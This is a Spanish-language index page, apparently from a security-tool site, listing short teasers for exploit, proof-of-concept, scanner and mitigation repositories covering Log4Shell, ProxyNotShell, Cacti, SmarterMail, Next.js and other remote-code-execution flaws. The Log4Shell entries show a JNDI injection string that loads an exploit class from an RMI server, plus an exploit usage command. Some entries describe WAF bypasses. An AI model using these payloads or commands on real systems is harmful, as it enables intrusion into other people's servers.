CVE-2019-1010174

CVE-2019-1010174 CImg Library v.2.3.3 - inyección de comandos CVE-2019-1010174 Detalle Modificado Esta vulnerabilidad ha sido modificada desde su último análisis por el NVD. Está pendiente de un nuevo análisis que puede dar lugar a cambios adicionales en la información proporcionada. Descripción...

CVE-2021-44228-Demo

CVE-2021-44228-Demo Ejemplo de inyección remota de código a través de CVE-2021-44228 utilizando RMI y LDAP. root@kitploit: Exploit class from RMI Server loaded Hello, $jndi:rmi://127.0.0.1:1099/exploit Exploit class from LDAP Server loaded Hello,...

scanner-for-CVE-2025-55182-vulnerability

🛡️ Escáner de Vulnerabilidades de GitHub para CVE-2025-55182 RCE en React/Next.js Este script de Python está diseñado para escanear todos tus repositorios públicos y privados de GitHub en busca de dependencias potencialmente vulnerables a CVE-2025-55182 una ejecución remota de código crítica que...

CVE-2020-8813-Cacti-RCE-in-graph_realtime

CVE-2020-8813 - RCE through graphrealtime.php in Cacti 1.2.8 Características RCE a través de graphrealtime.php en Cacti 1.2.8 Modo en vivo Ejecutar un solo comando Modo detallado Descripción...

CVE-2019-11043

Ladon POC Moudle CVE-2019-11043 PHP-FPM + Ngnix Introducción a la vulnerabilidad Vulnerabilidad de ejecución remota de código en PHP-FPM CVE-2019-11043 En el Real World CTF organizado por Chaitin Technology, el investigador de seguridad extranjero Andrew Danau, al resolver un desafío CTF, descubr...

ProxyNotShell-PoC

PoC funcional para CVE-2022-41040 y CVE-2022-41082 también conocido como ProxyNotShell Requisitos: pip install requestsntlm2 requests Uso: root@kitploit: python pocaug3.py Credenciales: Script PoC de ProxyShell de: https://blog.viettelcybersecurity.com/pwn2own-2021-microsoft-exchange-exploit-chai...

CVE-2025-64512-Polyglot-PoC

CVE-2025-64512 Carga útil políglota En las últimas semanas en noviembre de 2025, se reveló una vulnerabilidad interesante CVE-2025-64512 en pdfminer.six, un popular proyecto de Python para procesar archivos PDF, utilizado en particular en pipelines de IA. La vulnerabilidad permite la ejecución...

python-log4rce

Python Log4RCE Un PoC prueba de concepto integral en Python puro para CVE-2021-44228. Ejemplo root@kitploit: python3 log4rce.py --target "linux" --payload "PAYLOAD" http -X POST --url "http://localhost:8080/" --data "address=" root@kitploit: INFO:HTTP:Running on local port 1337 INFO:HTTP:Remote...

cve-2022-42889-intercept

cve-2022-42889-intercept Las versiones inferiores a Java11 requieren atención; las versiones superiores ya han eliminado el intérprete Javascript. Esta solución está dirigida a Java8. Intercepción de parámetros ilegales mediante los parámetros de inicio de jvm y el pid de jps. inicio rápido...

printix-CVE-2022-29551

CVE-2022-29551 Lanzamiento Simple | Versión para imprimir Una vulnerabilidad de "Método o función peligrosa expuesta" en PrintixService.exe, en "Printix Secure Cloud Print Management" de Kofax Printix, versión 1.3.1156.0 y anteriores, permite a un atacante local o remoto la capacidad de instalar...

cacti-cve-2022-46169-exploit

CVE-2022-46169 PoC: Bypass de autenticación y ejecución remota de código Este repositorio contiene un PoC para la vulnerabilidad CVE-2022-46169, que permite a un atacante omitir la autenticación y ejecutar código arbitrario de forma remota en el sistema afectado. Esta vulnerabilidad afecta a Cact...

CVE-2020-23584

CVE-2020-23584 OPTILINK E-PON "MODEL NO: OP-XT71000N" con "HARDWARE VERSION: V2.2"; y "FIRMWARE VERSION: OPV3.3.1-191028" Ejecución remota de código no autenticada en "OPTILINK OP-XT71000N, Hardware Version: V2.2". El problema ocurre cuando el atacante pasa comandos arbitrarios con dirección IP...

CVE-2026-53576

Exploit de RCE no autenticado en Kestra CVE-2026-53576 Omisión crítica de autenticación que permite la ejecución remota de código sin autenticación Exploit • Detalles de la Vulnerabilidad • Impacto • Remediación ⚠️ AVISO LEGAL Esta herramienta es solo para fines educativos y de pruebas de segurida...

CVE-2019-7214

CVE-2019-7214 Ejecución remota de código en la deserialización de .NET para el sistema SmarterMail. Colección Encuentre una colección de pruebas de concepto para el exploit en este repositorio. Algunas pueden funcionar según lo previsto sin modificación y otras pueden requerir modificación...

CVE-2024-27956-WORDPRESS-RCE-PLUGIN

CVE-2024-27956-WORDPRESS-RCE-PLUGIN CVE-2024-27956 WORDPRESS RCE PLUGIN Plugin atacado wp-automatic...

WG-CVE-2026-1555-Linux

root@kitploit: ██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██╔════╝ ██║ ██║ ██║█████╗ █████╔╝██║██╔██║ █████╔╝███████╗ ██║ ╚██╗ ██╔╝██╔══╝ ██╔═══╝ ████╔╝██║██╔═══╝ ██╔═══██╗ ╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗╚██████╔╝...

CVE-2020-9547

CVE-2020-9547：Vulnerabilidad de ejecución remota de código en FasterXML/jackson-databind...

CVE-2025-52691

CVE-2025-52691 Este repositorio contiene una prueba de concepto PoC segura para detectar versiones vulnerables de SmarterMail afectadas por CVE‑2025‑52691. El script solo realiza detección de versión y no explota la vulnerabilidad. CVE-2025-52691 – PoC de detección de versión de SmarterMail 📌...

CVE-2025-55182-bypass

CVE-2025-55182 Bypass de Cabecera Bypass de la cabecera Next-Action para CVE-2025-55182. Consigue RCE en React RSC sin cabeceras distintivas, evadiendo reglas WAF. Hallazgo Clave La cabecera Next-Action NO es necesaria para la explotación...

tivoli-poc

tivoli-poc Código PoC de CVE-2017-1635 CVEID: CVE-2017-1635 Puntuación base CVSS: 8 Productos y versiones afectados: componente KDH de IBM Tivoli Monitoring Basic Services KGL,KAX para las versiones 6.2.2.0 a 6.2.2.9 Existe una vulnerabilidad en el servidor web interno proporcionado por los...